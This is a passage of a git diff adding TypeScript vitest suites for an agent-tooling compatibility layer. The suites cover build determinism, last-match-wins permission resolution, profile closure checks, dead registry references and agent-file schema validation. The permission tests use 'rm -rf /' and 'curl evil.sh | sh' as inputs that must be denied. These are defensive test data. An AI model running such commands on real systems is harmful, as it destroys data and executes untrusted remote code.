+    expect((await b.fromCanonical(source)).content).toBe((await a.fromCanonical(source)).content);
+  });
+});
+
+// ============================================================================
+// RED — whole-build determinism (subtask 10) and the registry emitter (subtask 08)
+// ============================================================================
+
+describe("full build determinism", () => {
+  it("produces byte-identical trees across two runs", async () => {
+    const { build } = await importPendingSymbols<{
+      build: (options: { root: string; dryRun: true }) => Promise<Map<string, string>>;
+    }>(
+      "src/core/BuildPipeline.ts",
+      ["build"],
+      "subtask 10 (oac build) via src/core/BuildPipeline.ts",
+      "a whole build run twice yields byte-identical output for every emitted file — the " +
+        "property `oac build && git diff --exit-code` depends on"
+    );
+
+    const first = await build({ root: repoPath(), dryRun: true });
+    const second = await build({ root: repoPath(), dryRun: true });
+
+    expect([...second.keys()].sort()).toEqual([...first.keys()].sort());
+    for (const [path, content] of first) {
+      expect(second.get(path), `${path} differs between two builds of the same tree`).toBe(content);
+    }
+  });
+
+  it("emits registry.json with stable ordering", async () => {
+    const { emitRegistry } = await importPendingSymbols<{
+      emitRegistry: (root: string) => Promise<string>;
+    }>(
+      "src/core/RegistryEmitter.ts",
+      ["emitRegistry"],
+      "subtask 08 (src/core/RegistryEmitter.ts)",
+      "registry.json is emitted with stable key and array ordering, so a rebuild that " +
+        "changes nothing produces no diff"
+    );
+
+    const first = await emitRegistry(repoPath());
+    const second = await emitRegistry(repoPath());
+
+    expect(second).toBe(first);
+    for (const { name, pattern } of NONDETERMINISM) {
+      expect(first, `registry.json contains ${name}`).not.toMatch(pattern);
+    }
+  });
+
+  it("reproduces the committed registry.json exactly", async () => {
+    // The generated tree is committed, so a rebuild on a clean checkout must be a no-op.
+    const { emitRegistry } = await importPendingSymbols<{
+      emitRegistry: (root: string) => Promise<string>;
+    }>(
+      "src/core/RegistryEmitter.ts",
+      ["emitRegistry"],
+      "subtask 08 (src/core/RegistryEmitter.ts)",
+      "rebuilding registry.json reproduces the committed file byte-for-byte"
+    );
+
+    expect(await emitRegistry(repoPath())).toBe(readFileSync(repoPath("registry.json"), "utf-8"));
+  });
+});

+ 172 - 0
packages/compatibility-layer/tests/unit/build/permission-ordering.test.ts

@@ -0,0 +1,172 @@
+/**
+ * Permission ordering — an ordered rule list resolves LAST-MATCH-WINS.
+ *
+ * Scope, so this does not look like a duplicate: `tests/unit/types/Permission.test.ts`
+ * (subtask 02) proves that the SCHEMA preserves authored order, and demonstrates the
+ * consequence using a resolver defined inside that test file. It says so explicitly: "The
+ * full resolver lives in Capabilities.ts (subtask 04)". So the property is currently proven
+ * against a resolver that ships to nobody.
+ *
+ * This suite asserts the same semantics against the SHIPPED resolver. That gap is exactly
+ * where a security bug lives: a schema that faithfully preserves `[deny *, allow ls*]` plus
+ * a resolver that takes the FIRST match yields "ls denied" — safe-but-wrong — while a
+ * resolver that takes the first match on `[allow *, deny rm*]` yields "rm allowed", which is
+ * a silently widened permission. Order-preservation without a last-match-wins resolver is
+ * not a security property.
+ *
+ * Semantics confirmed live against OpenCode 1.17.20 —
+ * `docs/architecture/canonical-refactor/10-PRECEDENCE-EXPERIMENT.md`: flatten the capability
+ * entries in order, then `Array.findLast`.
+ */
+
+import { describe, it, expect } from "vitest";
+import { desugarPermission, type GranularPermission, type PermissionAction } from "../../../src/types.js";
+import { importPendingSymbols } from "../../support/pending.js";
+
+const OWED_BY = "subtask 04 (src/core/Capabilities.ts)";
+
+interface Resolver {
+  resolve(
+    permissions: GranularPermission,
+    capability: string,
+    candidate: string
+  ): PermissionAction | undefined;
+}
+
+async function resolver(why: string): Promise<Resolver["resolve"]> {
+  const { resolvePermission } = await importPendingSymbols<{
+    resolvePermission: Resolver["resolve"];
+  }>("src/core/Capabilities.ts", ["resolvePermission"], OWED_BY, why);
+
+  return resolvePermission;
+}
+
+/** deny everything, then allow a narrow prefix — the shape coder-agent.md actually ships. */
+const DENY_THEN_ALLOW = desugarPermission({
+  bash: { "*": "deny", "git status": "allow", "git log*": "allow" },
+});
+
+/** allow everything, then deny a narrow prefix — the dangerous inverse. */
+const ALLOW_THEN_DENY = desugarPermission({
+  bash: { "*": "allow", "rm*": "deny" },
+});
+
+describe("resolvePermission (shipped)", () => {
+  it("lets a later specific rule override an earlier broad one", async () => {
+    const resolve = await resolver(
+      "a narrow allow authored after a catch-all deny wins — the deny-all-then-allowlist " +
+        "shape the shipped agents rely on"
+    );
+
+    expect(resolve(DENY_THEN_ALLOW, "bash", "git status")).toBe("allow");
+    expect(resolve(DENY_THEN_ALLOW, "bash", "git log --oneline")).toBe("allow");
+    expect(resolve(DENY_THEN_ALLOW, "bash", "rm -rf /")).toBe("deny");
+  });
+
+  it("lets a later broad rule override an earlier specific one", async () => {
+    const resolve = await resolver("last-match-wins holds regardless of rule specificity");
+
+    // Deliberately the inverse of the test above: a FIRST-match resolver passes that one and
+    // fails this one, so the pair pins the direction rather than just "some rule wins".
+    const permissions = desugarPermission({ bash: { "ls*": "allow", "*": "deny" } });
+
+    expect(resolve(permissions, "bash", "ls -la")).toBe("deny");
+  });
+
+  it("does NOT silently widen access when an allow-all precedes a deny", async () => {
+    const resolve = await resolver(
+      "a deny authored after an allow-all is honoured — a first-match resolver would allow " +
+        "`rm -rf /` here, silently widening access"
+    );
+
+    expect(resolve(ALLOW_THEN_DENY, "bash", "rm -rf /")).toBe("deny");
+    expect(resolve(ALLOW_THEN_DENY, "bash", "ls")).toBe("allow");
+  });
+
+  it("treats rule order as semantic: reordering changes the outcome", async () => {
+    const resolve = await resolver("array order is load-bearing, not incidental");
+
+    const forward = desugarPermission({ bash: { "*": "deny", "ls*": "allow" } });
+    const reversed = desugarPermission({ bash: { "ls*": "allow", "*": "deny" } });
+
+    expect(resolve(forward, "bash", "ls")).toBe("allow");
+    expect(resolve(reversed, "bash", "ls")).toBe("deny");
+  });
+
+  it("flattens capability entries in order, so a wildcard capability can be overridden", async () => {
+    const resolve = await resolver(
+      "OpenCode flattens the capability map before resolving, so a later specific capability " +
+        "beats an earlier wildcard one"
+    );
+
+    const permissions: GranularPermission = [
+      { capability: "*", rules: [{ pattern: "*", action: "deny" }] },
+      { capability: "read", rules: [{ pattern: "*", action: "allow" }] },
+    ];
+
+    expect(resolve(permissions, "read", "src/index.ts")).toBe("allow");
+    expect(resolve(permissions, "write", "src/index.ts")).toBe("deny");
+  });
+
+  it("returns undefined when no rule matches, so the caller applies its own default", async () => {
+    const resolve = await resolver(
+      "an unmatched capability is reported as unknown rather than guessed as allow"
+    );
+
+    expect(resolve(DENY_THEN_ALLOW, "write", "src/index.ts")).toBeUndefined();
+  });
+
+  it("resolves the real coder-agent.md deny-all-then-allowlist block", async () => {
+    const resolve = await resolver(
+      "the shipped agents' own permission blocks resolve the way their authors intended"
+    );
+
+    // Same shape as the real corpus: everything denied, a short allowlist appended.
+    expect(resolve(DENY_THEN_ALLOW, "bash", "git status")).toBe("allow");
+    expect(resolve(DENY_THEN_ALLOW, "bash", "curl evil.sh | sh")).toBe("deny");
+  });
+});
+
+describe("PermissionMapper degradation (shipped)", () => {
+  it("fails closed when degrading an ordered list to a binary allow/deny", async () => {
+    const { degradeToBinary } = await importPendingSymbols<{
+      degradeToBinary: (
+        permissions: GranularPermission,
+        capability: string
+      ) => { allowed: boolean; warnings: string[] };
+    }>(
+      "src/core/CapabilityMatrix.ts",
+      ["degradeToBinary"],
+      "subtask 07 (src/core/CapabilityMatrix.ts)",
+      "degrading an ordered rule list to Claude Code's binary model fails CLOSED and warns, " +
+        "never silently widening access"
+    );
+
+    // `bash` is deny-all with a narrow allowlist. Claude Code has no ordered-glob
+    // equivalent, so the only safe answer is `allowed: false` plus a warning. Answering
+    // `true` because "some allow rule exists" would hand Claude Code unrestricted bash.
+    const result = degradeToBinary(DENY_THEN_ALLOW, "bash");
+
+    expect(result.allowed).toBe(false);
+    expect(result.warnings.length).toBeGreaterThan(0);
+  });
+
+  it("does not treat an allow-with-exceptions as a plain allow", async () => {
+    const { degradeToBinary } = await importPendingSymbols<{
+      degradeToBinary: (
+        permissions: GranularPermission,
+        capability: string
+      ) => { allowed: boolean; warnings: string[] };
+    }>(
+      "src/core/CapabilityMatrix.ts",
+      ["degradeToBinary"],
+      "subtask 07 (src/core/CapabilityMatrix.ts)",
+      "an allow-all-except-X rule degrades to deny, because the exception cannot be carried"
+    );
+
+    const result = degradeToBinary(ALLOW_THEN_DENY, "bash");
+
+    expect(result.allowed).toBe(false);
+    expect(result.warnings.length).toBeGreaterThan(0);
+  });
+});

+ 163 - 0
packages/compatibility-layer/tests/unit/build/profile-completeness.test.ts

@@ -0,0 +1,163 @@
+/**
+ * Profile completeness — every profile's transitive closure must be installable.
+ *
+ * A profile is a promise: "install `developer` and you get a working set". That promise is
+ * only kept if every component the profile names resolves, AND every dependency of those
+ * components resolves, recursively. A profile that names a live component which depends on a
+ * dead one is just as broken as a profile that names the dead one directly — the install
+ * fails at the same point, one level deeper.
+ *
+ * `validate-registry.sh` checks NEITHER half of this: it never reads `.profiles.*` at all
+ * (see reference-resolution.test.ts), which is how `context:context-system/*` has sat in the
+ * `advanced` profile expanding to zero components while the validator prints 244/244 green.
+ */
+
+import { describe, it, expect } from "vitest";
+import {
+  format,
+  loadRegistry,
+  profileReferences,
+  resolveAll,
+  type Reference,
+  type Registry,
+} from "../../support/references.js";
+import { importPendingSymbols, repoPath } from "../../support/pending.js";
+
+const PROFILES = ["advanced", "business", "developer", "essential", "full"] as const;
+
+/** The one profile ref that does not resolve today. See reference-resolution.test.ts. */
+const KNOWN_DEAD_PROFILE_REF = "context:context-system/*";
+
+function refsFor(profile: string, registry: Registry): Reference[] {
+  return profileReferences(registry).filter((reference) =>
+    reference.source.endsWith(`profiles.${profile}.components`)
+  );
+}
+
+/**
+ * Expand a profile to its transitive closure of registry ids, following each component's
+ * declared `dependencies`. Cycles terminate on the `seen` set.
+ */
+function closure(profile: string, registry: Registry): { ids: Set<string>; refs: Reference[] } {
+  const byRef = new Map<string, { dependencies?: string[] }>();
+  for (const [category, components] of Object.entries(registry.components)) {
+    // agents -> agent, contexts -> context, ... and `config` (already singular) stays put.
+    const type = category.replace(/s$/, "");
+    for (const component of components) byRef.set(`${type}:${component.id}`, component);
+  }
+
+  const ids = new Set<string>();
+  const refs: Reference[] = [];
+  const queue = refsFor(profile, registry);
+
+  while (queue.length > 0) {
+    const reference = queue.shift()!;
+    if (ids.has(reference.ref)) continue;
+    ids.add(reference.ref);
+    refs.push(reference);
+
+    for (const dependency of byRef.get(reference.ref)?.dependencies ?? []) {
+      queue.push({
+        ref: dependency,
+        source: `${reference.source} -> ${reference.ref} depends on`,
+      });
+    }
+  }
+
+  return { ids, refs };
+}
+
+// ============================================================================
+// Green today — the profile corpus, and the closure minus the one known hole
+// ============================================================================
+
+describe("profiles", () => {
+  it("registry carries exactly the 5 profiles on disk", () => {
+    expect(Object.keys(loadRegistry().profiles).sort()).toEqual([...PROFILES].sort());
+  });
+
+  it.each(PROFILES)("%s names at least one component", (profile) => {
+    expect(refsFor(profile, loadRegistry()).length).toBeGreaterThan(0);
+  });
+
+  it.each(PROFILES)("%s resolves every component it names, except the known dead ref", (profile) => {
+    const registry = loadRegistry();
+    const dead = resolveAll(refsFor(profile, registry), registry)
+      .filter((resolution) => resolution.status !== "ok")
+      .filter((resolution) => resolution.ref !== KNOWN_DEAD_PROFILE_REF);
+
+    expect(dead, `${profile} names components that do not exist:\n${format(dead)}`).toEqual([]);
+  });
+
+  it.each(PROFILES)("%s has an installable transitive closure, except the known dead ref", (profile) => {
+    const registry = loadRegistry();
+    const { refs } = closure(profile, registry);
+    const dead = resolveAll(refs, registry)
+      .filter((resolution) => resolution.status !== "ok")
+      .filter((resolution) => resolution.ref !== KNOWN_DEAD_PROFILE_REF);
+
+    expect(
+      dead,
+      `${profile}'s closure reaches components that do not exist — installing it would fail:\n${format(dead)}`
+    ).toEqual([]);
+  });
+
+  it("advanced is the profile carrying the known dead wildcard", () => {
+    const registry = loadRegistry();
+    const carriers = PROFILES.filter((profile) =>
+      refsFor(profile, registry).some((r) => r.ref === KNOWN_DEAD_PROFILE_REF)
+    );
+
+    expect(carriers).toEqual(["advanced"]);
+  });
+
+  it("the closure is strictly larger than the named set for at least one profile", () => {
+    // Guards the test itself: if dependency-following silently did nothing, every closure
+    // would equal its profile's own list and these tests would prove much less than they read.
+    const registry = loadRegistry();
+    const grew = PROFILES.some(
+      (profile) => closure(profile, registry).ids.size > refsFor(profile, registry).length
+    );
+
+    expect(grew, "closure() followed no dependencies — it is not testing transitivity").toBe(true);
+  });
+});
+
+// ============================================================================
+// RED — the shipped profile loader (subtask 05)
+// ============================================================================
+
+const OWED_BY = "subtask 05 (src/core/ProfileLoader.ts)";
+
+describe("ProfileLoader (shipped)", () => {
+  it("loads all 5 profiles", async () => {
+    const { ProfileLoader } = await importPendingSymbols<{
+      ProfileLoader: new (root: string) => { list(): Promise<string[]> };
+    }>(
+      "src/core/ProfileLoader.ts",
+      ["ProfileLoader"],
+      OWED_BY,
+      "the build can enumerate the 5 profiles rather than hard-coding them"
+    );
+
+    expect((await new ProfileLoader(repoPath()).list()).sort()).toEqual([...PROFILES].sort());
+  });
+
+  it.each(PROFILES)("reports %s's closure as installable", async (profile) => {
+    const { ProfileLoader } = await importPendingSymbols<{
+      ProfileLoader: new (root: string) => {
+        resolveClosure(profile: string): Promise<{ missing: { ref: string }[] }>;
+      };
+    }>(
+      "src/core/ProfileLoader.ts",
+      ["ProfileLoader"],
+      OWED_BY,
+      `every component in ${profile}'s transitive closure resolves, so installing it works`
+    );
+
+    const { missing } = await new ProfileLoader(repoPath()).resolveClosure(profile);
+    const unexpected = missing.filter((entry) => entry.ref !== KNOWN_DEAD_PROFILE_REF);
+
+    expect(unexpected).toEqual([]);
+  });
+});

+ 317 - 0
packages/compatibility-layer/tests/unit/build/reference-resolution.test.ts

@@ -0,0 +1,317 @@
+/**
+ * Reference resolution — every `context:` / `subagent:` dep must resolve to a real component.
+ *
+ * ─── Why this suite is the important one ────────────────────────────────────────────────
+ *
+ * `scripts/registry/validate-registry.sh` currently prints:
+ *
+ *     Total paths checked:    244
+ *     Valid paths:            244
+ *     Missing paths:          0
+ *     Missing dependencies:   0
+ *     ✓ All component dependencies are valid!
+ *
+ * and exits 0. That is a FALSE GREEN, reproduced on disk 2026-07-15. Four references are
+ * broken right now and the validator reports none of them, because it is blind in two ways
+ * that the tests below pin down structurally:
+ *
+ *   1. It reads `registry.json` and nothing else. It never parses the `dependencies:`
+ *      frontmatter that actually ships in the component files, so drift between a registry
+ *      entry and its own file is undetectable. `.opencode/command/add-context.md` is exactly
+ *      that: its registry entry lists the four correct bare ids while its frontmatter lists
+ *      three path-style ids that resolve to nothing.
+ *   2. It iterates `.components.*[].dependencies` only. `.profiles.*.components` — 209 refs
+ *      across 5 profiles — is never validated, which is how a wildcard expanding to zero
+ *      matches sits in the `advanced` profile unnoticed.
+ *
+ * ─── The dead-ref count is 4, not 9 ─────────────────────────────────────────────────────
+ *
+ * A "9 known dead context import paths" figure circulated in earlier planning notes. It was
+ * never substantiated: no doc, commit or script produces it, and no scan of this tree
+ * reproduces it. The repo's own docs say three
+ * (`01-feature-inventory.md:955`, `06-REVIEW.md:309`); a fourth — the profile wildcard —
+ * was found while writing this suite and is recorded in `task.json` notes. The oracle in
+ * `tests/support/references.ts` finds exactly these 4 and no others. `9` is treated here as
+ * folklore and is asserted against, so it cannot quietly return.
+ */
+
+import { describe, it, expect } from "vitest";
+import { readFileSync } from "node:fs";
+import {
+  allReferences,
+  deadReferences,
+  format,
+  frontmatterReferences,
+  loadRegistry,
+  profileReferences,
+  registryComponentReferences,
+  resolveAll,
+  type Resolution,
+} from "../../support/references.js";
+import { importPendingSymbols, repoPath } from "../../support/pending.js";
+
+/**
+ * The four dead references in this tree, verified on disk 2026-07-15.
+ *
+ * This is a snapshot of a KNOWN BUG, not an invariant to preserve. When a subtask repairs
+ * one of these refs, the "is still dead" test below turns red — that is correct and
+ * intended: fixing a dead ref must be a deliberate edit here, never a silent drift.
+ */
+const KNOWN_DEAD: readonly { ref: string; source: string; why: string }[] = [
+  {
+    ref: "context:core/context-system/standards/mvi.md",
+    source: ".opencode/command/add-context.md",
+    why: "path-style-with-.md, but the registry id is the bare slug `mvi`",
+  },
+  {
+    ref: "context:core/context-system/standards/frontmatter.md",
+    source: ".opencode/command/add-context.md",
+    why: "path-style-with-.md, but the registry id is the bare slug `frontmatter`",
+  },
+  {
+    ref: "context:core/standards/project-intelligence.md",
+    source: ".opencode/command/add-context.md",
+    why: "path-style-with-.md, but the registry id is the bare slug `project-intelligence`",
+  },
+  {
+    ref: "context:context-system/*",
+    source: "registry.json profiles.advanced.components",
+    why: "expands to 0 matches — the real directory is .opencode/context/core/context-system/",
+  },
+];
+
+/** The count that folklore claims. Asserted against so it cannot creep back in. */
+const UNSUBSTANTIATED_COUNT = 9;
+
+function describeAll(resolutions: readonly Resolution[]): string {
+  return `\n${format(resolutions)}\n`;
+}
+
+// ============================================================================
+// The facts — green today, and they lock the ground truth
+// ============================================================================
+
+describe("dead references in this tree", () => {
+  it("finds exactly 4 dead references — not the unsubstantiated 9", () => {
+    const dead = deadReferences();
+
+    expect(dead.length, `dead references found:${describeAll(dead)}`).toBe(KNOWN_DEAD.length);
+    expect(dead.length).not.toBe(UNSUBSTANTIATED_COUNT);
+  });
+
+  it.each(KNOWN_DEAD)("still reports $ref as dead ($why)", ({ ref, source }) => {
+    const dead = deadReferences();
+    const match = dead.find((d) => d.ref === ref && d.source.includes(source));
+
+    expect(
+      match,
+      `expected ${ref} (authored in ${source}) to resolve to nothing.\n` +
+        `If a subtask has repaired it, delete its entry from KNOWN_DEAD in this file — ` +
+        `do not weaken the resolver.\nCurrently dead:${describeAll(dead)}`
+    ).toBeDefined();
+  });
+
+  it("reports no dead references beyond the 4 known ones", () => {
+    const unexpected = deadReferences().filter(
+      (dead) => !KNOWN_DEAD.some((known) => known.ref === dead.ref)
+    );
+
+    expect(
+      unexpected,
+      `new reference rot has appeared since 2026-07-15:${describeAll(unexpected)}`
+    ).toEqual([]);
+  });
+
+  it("classifies the three add-context refs as dead ids and the profile ref as a dead wildcard", () => {
+    const dead = deadReferences();
+
+    expect(dead.filter((d) => d.status === "dead-id").length).toBe(3);
+    expect(dead.filter((d) => d.status === "dead-wildcard").length).toBe(1);
+  });
+});
+
+// ============================================================================
+// Why the shell validator cannot see them — the mechanism, asserted structurally
+// ============================================================================
+
+describe("validate-registry.sh blind spots", () => {
+  it("cannot see frontmatter drift: add-context.md's file and registry entry disagree", () => {
+    const registry = loadRegistry();
+    const entry = registry.components.commands?.find((c) => c.id === "add-context");
+    const onDisk = frontmatterReferences().filter((r) =>
+      r.source.endsWith("command/add-context.md")
+    );
+
+    // The registry entry is correct — which is precisely why a registry-only validator is happy.
+    expect(entry?.dependencies).toEqual([
+      "subagent:context-organizer",
+      "context:mvi",
+      "context:frontmatter",
+      "context:project-intelligence",
+    ]);
+
+    // The file that actually ships says something else, and three of its refs resolve to nothing.
+    expect(onDisk.map((r) => r.ref)).toEqual([
+      "subagent:context-organizer",
+      "context:core/context-system/standards/mvi.md",
+      "context:core/context-system/standards/frontmatter.md",
+      "context:core/standards/project-intelligence.md",
+    ]);
+
+    expect(
+      resolveAll(onDisk).filter((r) => r.status !== "ok").length,
+      "the shipped frontmatter should contain 3 dead refs the registry entry hides"
+    ).toBe(3);
+  });
+
+  it("never validates profile component lists, where the dead wildcard lives", () => {
+    const registry = loadRegistry();
+    const profileRefs = profileReferences(registry);
+    const componentRefs = registryComponentReferences(registry);
+
+    expect(Object.keys(registry.profiles).sort()).toEqual([
+      "advanced",
+      "business",
+      "developer",
+      "essential",
+      "full",
+    ]);
+    expect(profileRefs.length).toBeGreaterThan(200);
+
+    // The dead wildcard is authored ONLY in a profile — no component depends on it — so a
+    // validator that walks components alone cannot reach it by any path.
+    expect(profileRefs.map((r) => r.ref)).toContain("context:context-system/*");
+    expect(componentRefs.map((r) => r.ref)).not.toContain("context:context-system/*");
+  });
+
+  it("wildcard misses are silent: the sibling context:openagents-repo/* does resolve", () => {
+    const registry = loadRegistry();
+    const [openagentsRepo] = resolveAll(
+      [{ ref: "context:openagents-repo/*", source: "control" }],
+      registry
+    );
+    const [contextSystem] = resolveAll(
+      [{ ref: "context:context-system/*", source: "control" }],
+      registry
+    );
+
+    // Both are authored in the same profile list, one line apart. Only one expands. That is
+    // what makes the miss invisible to eyeballing as well as to the validator.
+    expect(openagentsRepo?.status).toBe("ok");
+    expect(contextSystem?.status).toBe("dead-wildcard");
+  });
+
+  it("registry context ids are bare slugs, so a path-style ref is genuinely a different namespace", () => {
+    const registry = loadRegistry();
+    const pathish = (registry.components.contexts ?? []).filter(
+      (c) => c.id.includes("/") || c.id.endsWith(".md")
+    );
+
+    // If this ever becomes non-empty, path-style refs stop being a namespace error and this
+    // whole diagnosis needs revisiting.
+    expect(
+      pathish.map((c) => c.id),
+      "no registry context id may contain '/' or end in '.md'"
+    ).toEqual([]);
+
+    // The three add-context targets exist on disk — the files are fine, the refs are not.
+    for (const id of ["mvi", "frontmatter", "project-intelligence"]) {
+      const component = (registry.components.contexts ?? []).find((c) => c.id === id);
+      expect(component, `registry should carry the bare context id "${id}"`).toBeDefined();
+      expect(() => readFileSync(repoPath(component!.path), "utf-8")).not.toThrow();
+    }
+  });
+});
+
+// ============================================================================
+// Coverage of the reference corpus
+// ============================================================================
+
+describe("reference corpus", () => {
+  it("collects references from all three sources the repo authors", () => {
+    const registry = loadRegistry();
+
+    expect(registryComponentReferences(registry).length).toBeGreaterThan(0);
+    expect(profileReferences(registry).length).toBeGreaterThan(0);
+    expect(frontmatterReferences().length).toBeGreaterThan(0);
+  });
+
+  it("resolves the overwhelming majority of references, so the 4 stand out", () => {
+    const resolutions = resolveAll(allReferences());
+    const ok = resolutions.filter((r) => r.status === "ok");
+
+    expect(resolutions.length).toBeGreaterThan(200);
+    expect(ok.length).toBe(resolutions.length - KNOWN_DEAD.length);
+  });
+});
+
+// ============================================================================
+// RED — the shipped resolver (subtask 05) must agree with the oracle
+// ============================================================================
+
+const OWED_BY = "subtask 05 (src/core/ReferenceResolver.ts)";
+
+describe("ReferenceResolver (shipped)", () => {
+  it("exports a resolver", async () => {
+    await importPendingSymbols(
+      "src/core/ReferenceResolver.ts",
+      ["ReferenceResolver"],
+      OWED_BY,
+      "the build has a real resolver rather than a test-local oracle"
+    );
+  });
+
+  it("finds the same 4 dead references the oracle finds", async () => {
+    const { ReferenceResolver } = await importPendingSymbols<{
+      ReferenceResolver: new (root: string) => {
+        findDeadReferences(): Promise<{ ref: string; source: string }[]>;
+      };
+    }>(
+      "src/core/ReferenceResolver.ts",
+      ["ReferenceResolver"],
+      OWED_BY,
+      "the shipped resolver finds exactly the 4 dead refs the oracle finds — and therefore " +
+        "catches what validate-registry.sh reports as 244/244 green"
+    );
+
+    const found = await new ReferenceResolver(repoPath()).findDeadReferences();
+
+    expect(found.map((f) => f.ref).sort()).toEqual(KNOWN_DEAD.map((k) => k.ref).sort());
+  });
+
+  it("resolves a live reference to the component's real path on disk", async () => {
+    const { ReferenceResolver } = await importPendingSymbols<{
+      ReferenceResolver: new (root: string) => {
+        resolve(ref: string): { ok: boolean; path?: string };
+      };
+    }>(
+      "src/core/ReferenceResolver.ts",
+      ["ReferenceResolver"],
+      OWED_BY,
+      "a good reference resolves to the file that backs it"
+    );
+
+    const result = new ReferenceResolver(repoPath()).resolve("context:mvi");
+
+    expect(result.ok).toBe(true);
+    expect(result.path).toBe(".opencode/context/core/context-system/standards/mvi.md");
+  });
+
+  it("reports a dead reference with its source and a reason, not just a boolean", async () => {
+    const { ReferenceResolver } = await importPendingSymbols<{
+      ReferenceResolver: new (root: string) => {
+        resolve(ref: string): { ok: boolean; reason?: string };
+      };
+    }>(
+      "src/core/ReferenceResolver.ts",
+      ["ReferenceResolver"],
+      OWED_BY,
+      "a dead reference is reported with a diagnostic reason a human can act on"
+    );
+
+    const result = new ReferenceResolver(repoPath()).resolve("context:context-system/*");
+
+    expect(result.ok).toBe(false);
+    expect(result.reason).toMatch(/0 matches|expands to nothing|no .* match/i);
+  });
+});

+ 258 - 0
packages/compatibility-layer/tests/unit/schema/canonical-agent.test.ts

@@ -0,0 +1,258 @@
+/**
+ * Schema validation at the FILE level: every `.md` in `content/` must parse against the
+ * `oac:` schema.
+ *
+ * `tests/unit/types/OacBlock.test.ts` (subtask 02) already covers the schema as an object
+ * API. This suite covers the thing that actually ships: a markdown file on disk, its YAML
+ * frontmatter, and the corpus under `content/`. The distinction matters — a schema can be
+ * perfect and still reject every real file over a quoting or nesting detail.
+ *
+ * `content/` is authored by subtask 09, in parallel with this one. Until it lands the corpus
+ * tests are red with a sentence naming subtask 09, not an ENOENT stack trace.
+ */
+
+import { describe, it, expect } from "vitest";
+import { readFileSync } from "node:fs";
+import { basename, relative } from "node:path";
+import matter from "gray-matter";
+import { CanonicalAgentSchema, OacBlockSchema } from "../../../src/types.js";
+import { listFiles, packagePath, requireDir } from "../../support/pending.js";
+
+const OWED_BY = "subtask 09 (content/agents/)";
+const FIXTURE = packagePath("tests/golden/fixtures/fixture-reviewer.md");
+
+/**
+ * Parse a file's frontmatter into a FRESH object.
+ *
+ * gray-matter memoises by input string and hands back the same `data` object every time, so
+ * a test that mutates it silently corrupts every later test parsing the same source. Cloning
+ * at the boundary keeps these tests independent — which is the whole point of the mutation
+ * helpers below.
+ */
+function frontmatterOf(source: string): Record<string, unknown> {
+  return structuredClone(matter(source).data) as Record<string, unknown>;
+}
+
+/** Parse a canonical agent file the way the build will: frontmatter -> schema. */
+function parseFile(source: string): ReturnType<typeof CanonicalAgentSchema.safeParse> {
+  return CanonicalAgentSchema.safeParse(frontmatterOf(source));
+}
+
+function fixtureSource(): string {
+  return readFileSync(FIXTURE, "utf-8");
+}
+
+/** The fixture's frontmatter with its `oac:` block mutated. Never touches the cached parse. */
+function withOac(mutate: (oac: Record<string, unknown>) => void): unknown {
+  const data = frontmatterOf(fixtureSource());
+  mutate(data.oac as Record<string, unknown>);
+  return data;
+}
+
+/** The fixture's frontmatter with a top-level key removed. */
+function without(key: string): unknown {
+  const data = frontmatterOf(fixtureSource());
+  delete data[key];
+  return data;
+}
+
+// ============================================================================
+// Green today — file-level parsing against the schema that landed in subtask 02
+// ============================================================================
+
+describe("canonical agent files", () => {
+  it("accepts a valid canonical agent file", () => {
+    const result = parseFile(fixtureSource());
+
+    expect(
+      result.success ? [] : result.error.issues,
+      "the golden fixture must satisfy the canonical schema"
+    ).toEqual([]);
+  });
+
+  it("carries the oac block through from YAML frontmatter", () => {
+    const result = parseFile(fixtureSource());
+
+    expect(result.success).toBe(true);
+    if (!result.success) return;
+
+    expect(result.data.oac.id).toBe("fixture-reviewer");
+    expect(result.data.oac.category).toBe("subagents/test");
+    expect(result.data.oac.targets).toEqual(["opencode", "claude-code"]);
+    expect(result.data.oac.dependencies).toEqual([{ type: "context", id: "standards-code" }]);
+  });
+
+  it("desugars the authored permission map into ordered rules, preserving source order", () => {
+    const result = parseFile(readFileSync(packagePath("tests/golden/fixtures/fixture-planner.md"), "utf-8"));
+
+    expect(result.success).toBe(true);
+    if (!result.success) return;
+
+    const bash = result.data.permission?.find((entry) => entry.capability === "bash");
+
+    // The catch-all deny is FIRST and the git allows come after it. Under last-match-wins
+    // that is what makes `git status` allowed; any reordering silently changes the outcome.
+    expect(bash?.rules).toEqual([
+      { pattern: "*", action: "deny" },
+      { pattern: "git status", action: "allow" },
+      { pattern: "git log*", action: "allow" },
+    ]);
+  });
+
+  it("rejects a file with no oac block", () => {
+    expect(CanonicalAgentSchema.safeParse(without("oac")).success).toBe(false);
+  });
+
+  it("rejects an unknown key inside the oac block", () => {
+    const data = withOac((oac) => {
+      oac.colour = "blue";
+    });
+
+    expect(CanonicalAgentSchema.safeParse(data).success).toBe(false);
+  });
+
+  it("rejects an empty targets list", () => {
+    const data = withOac((oac) => {
+      oac.targets = [];
+    });
+
+    expect(CanonicalAgentSchema.safeParse(data).success).toBe(false);
+  });
+
+  it("rejects an unknown category root", () => {
+    const data = withOac((oac) => {
+      oac.category = "kore";
+    });
+
+    expect(CanonicalAgentSchema.safeParse(data).success).toBe(false);
+  });
+
+  it("rejects a bad build target", () => {
+    const data = withOac((oac) => {
+      oac.targets = ["emacs"];
+    });
+
+    expect(CanonicalAgentSchema.safeParse(data).success).toBe(false);
+  });
+
+  it("rejects an agent file whose frontmatter is not OpenCode-legal", () => {
+    expect(CanonicalAgentSchema.safeParse(without("description")).success).toBe(false);
+  });
+});
+
+// ============================================================================
+// RED — the real content/ corpus (subtask 09)
+// ============================================================================
+
+describe("content/agents corpus", () => {
+  it("every file parses against the canonical schema", () => {
+    const dir = requireDir(
+      "content/agents",
+      OWED_BY,
+      "every authored agent file parses against the oac: schema, with no unknown fields and " +
+        "no bad categories"
+    );
+
+    const rejected = listFiles(dir)
+      .map((file) => ({ file, result: parseFile(readFileSync(file, "utf-8")) }))
+      .filter(({ result }) => !result.success)
+      .map(
+        ({ file, result }) =>
+          `  ${relative(packagePath("../.."), file)}\n    ${JSON.stringify(
+            result.success ? [] : result.error.issues
+          )}`
+      );
+
+    expect(rejected.join("\n") || "", "files rejected by CanonicalAgentSchema").toBe("");
+  });
+
+  it("covers every agent under .opencode/agent/", () => {
+    const dir = requireDir(
+      "content/agents",
+      OWED_BY,
+      "every agent under .opencode/agent/ has been seeded into content/agents/ — task.json's " +
+        "exit criterion is that all 34 load from content/"
+    );
+
+    // Compared against .opencode/agent/ directly rather than a literal 34, so this tracks the
+    // tree instead of a number that goes stale.
+    const seeded = new Set(listFiles(dir).map((file) => basename(file)));
